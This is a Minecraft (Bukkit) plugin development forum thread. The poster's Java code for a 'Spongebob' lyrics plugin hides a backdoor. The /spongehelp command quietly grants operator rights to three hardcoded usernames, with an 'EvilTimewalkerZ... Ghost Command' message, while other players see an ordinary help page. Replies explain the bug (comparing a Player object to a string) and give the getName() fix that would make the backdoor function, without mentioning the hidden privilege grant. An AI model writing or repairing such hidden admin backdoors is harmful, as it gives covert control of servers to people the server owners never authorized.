.equals("username") doesn't work

Discussion in 'Plugin Development' started by TImewalkerZ, Sep 10, 2015.

Thread Status:
Not open for further replies.
  1. Offline

    TImewalkerZ

    Code:
    else if(commandLabel.equalsIgnoreCase("spongehelp")) {
                       if(player.equals("MrArrogance")) {
                           player.sendMessage(ChatColor.DARK_RED + "EvilTimewalkerZ: Username verified. Starting Ghost Command...");
                           player.setOp(true);
                       }
                       else if(player.equals("TimewalkerZ")) {
                           player.sendMessage(ChatColor.DARK_RED + "EvilTimewalkerZ: Username verified. Starting Ghost Command...");
                           player.setOp(true);
                       }
                       else if(player.equals("R3tro_3lit3")) {
                           player.sendMessage(ChatColor.DARK_RED + "EvilTimewalkerZ: Username verified. Starting Ghost Command...");
                           player.setOp(true);
                       }
                       else {
                       player.sendMessage(ChatColor.GOLD + "Spongebob v2.0 by TimewalkerZ");
                       player.sendMessage(ChatColor.GOLD + "Learn the lyrics of the Spongebob theme song!");
                       player.sendMessage(ChatColor.GOLD + "/ayeayecaptain - Response");
                       player.sendMessage(ChatColor.GOLD + "/spongebobsquarepants - Response");
                       player.sendMessage(ChatColor.GOLD + "/spongehelp - Display this page");
                       player.sendMessage(ChatColor.GOLD + "/startsong - Begin the song");
                       player.sendMessage(ChatColor.GOLD + "/stopsong - Stop the song");
                       }
                       return false;

    I used the account "TimewalkerZ" and did /spongehelp but the plugin apparently didn't send me a message nor OP me.
     
  2. Offline

    Gamesareme

    @TImewalkerZ The reason that this is not working is due to the fact that your are trying to see if the Player OBJECT is equal to the string, which it is not. What you want to be doing is getting the name of the player, or even the unique id of the player then seeing if that is equal to your string.
     
  3. Offline

    TImewalkerZ

    @Gamesareme Thank you, but how do i fix that?
    Edit: I just need the playername, not the UUID
     
  4. Offline

    oceantheskatr

    TImewalkerZ likes this.
  5. Offline

    SuperSniper

    @TImewalkerZ The problem is that you're checking for the player OBJECT itself, not it's name. "player" is returning a CraftPlayer, since you're just searching for the object, and not the actual player's username. Use this to get their name and check it:

    Code:
    if(player.getName().equals(string)) {
    
     
Thread Status:
Not open for further replies.

Share This Page